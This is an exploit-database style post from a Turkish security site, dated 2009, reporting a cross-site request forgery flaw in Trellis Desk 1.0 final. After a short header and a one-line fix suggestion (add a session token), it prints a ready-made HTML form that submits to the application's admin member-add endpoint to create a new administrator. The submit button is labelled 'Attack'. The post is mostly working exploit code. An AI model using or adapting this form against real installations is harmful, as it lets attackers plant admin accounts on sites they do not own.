Trellis desk ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Trellis desk ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 21:12:04
	# Trellis desk ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Trellis desk 1.0 final # vulnerable Type : XSRF # Infection : Uzaktan otomatik olarak Yeni Bir admin Eklenebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli... # author : CWHIRLPOOL ~ Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form action=’http://site/[path]/admin.php?section=manage&act=member&code=doadd’ method=’post’ onsubmit=’return validate_form(this)’> <input type=’text’ name=’username’ id=’username’ value=’’ size=’35’ /> <input type=’text’ name=’email’ id=’email’ value=’’ size=’35’ /> <input type=’text’ name=’password’ id=’password’ value=’’ size=’35’ /> <input type=’text’ name=’title’ id=’title’ value=’’ size=’35’ /> <input type=’radio’ name=’dst_active’ id=’dst_active1’ value=’1’ class=’radio’ /> <input type=’radio’ name=’dst_active’ id=’dst_active0’ value=’0’ class=’radio’ checked=’checked’ /> <input type=’radio’ name=’use_rte’ id=’use_rte1’ value=’1’ class=’radio’ /> <input type=’radio’ name=’use_rte’ id=’use_rte0’ value=’0’ class=’radio’ checked=’checked’ /> <input type=’radio’ name=’email_notify’ id=’email_notify1’ value=’1’ class=’radio’ /> <input type=’radio’ name=’email_notify’ id=’email_notify0’ value=’0’ class=’radio’ checked=’checked’ /> <input type=’radio’ name=’email_html’ id=’email_html1’ value=’1’ class=’radio’ /> <input type=’radio’ name=’email_html’ id=’email_html0’ value=’0’ class=’radio’ checked=’checked’ /> <input type=’checkbox’ name=’email_new_ticket’ id=’email_new_ticket1’ value=’1’ class=’ckbox’ /> <input type=’checkbox’ name=’email_ticket_reply’ id=’email_ticket_reply1’ value=’1’ class=’ckbox’ /> <input type=’checkbox’ name=’email_announce’ id=’email_announce1’ value=’1’ class=’ckbox’ /> <input type=’submit’ name=’submit’ id=’add’ value=’Attack’ class=’button’ /> </form> < -- bug code end of -- >